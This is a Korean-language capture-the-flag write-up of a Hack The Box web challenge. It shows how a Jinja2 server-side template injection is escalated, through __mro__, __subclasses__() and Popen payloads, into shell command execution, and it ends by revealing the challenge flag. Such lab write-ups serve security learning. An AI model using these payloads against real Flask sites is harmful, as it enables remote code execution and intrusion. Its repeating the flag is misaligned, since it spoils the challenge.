반응형
https://app.hackthebox.com/challenges/152
Hack The Box
app.hackthebox.com
[문제]
[풀이]
#참고 : https://watchout31337.tistory.com/177
이 사이트는 Flask/Jinja2로 구동중이라는 것을 알고있다.
URL 조작 시 입력된 페이지가 없다는 오류 페이지가 출력된다.
Jinja의 문법은 {{ }} 로 되어있다.
{{7*7}}를 입력하면
49로 출력된다.
이 문제는 SSTI 취약점을 이용하는 문제이다.
{{config}}를 입력해서 설정되어있는 목록을 확인할 수 있다.
{{''.__class__.__mro__}} 를 입력해서 root 클래스에 접근한다.
{{''.__class__.__mro__[1].__subclasses__()}} 상속받은 클래스를 확인한다.
클래스 중에 입출력을 확인하는 Popen 클래스를 찾아본다.
{{''.__class__.__mro__[1].__subclasses__()[414]}} 414번에 위치한다.
{{''.__class__.__mro__[1].__subclasses__()[414]('ls',shell=True,stdout=-1).communicate()}} Popen을 이용해서 쉘 명령어를 실행한다.
flag.txt파일 유무를 확인한다.
cat flag.txt를 이용해 Flag값을 확인한다.
[FLAG]
HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!}
반응형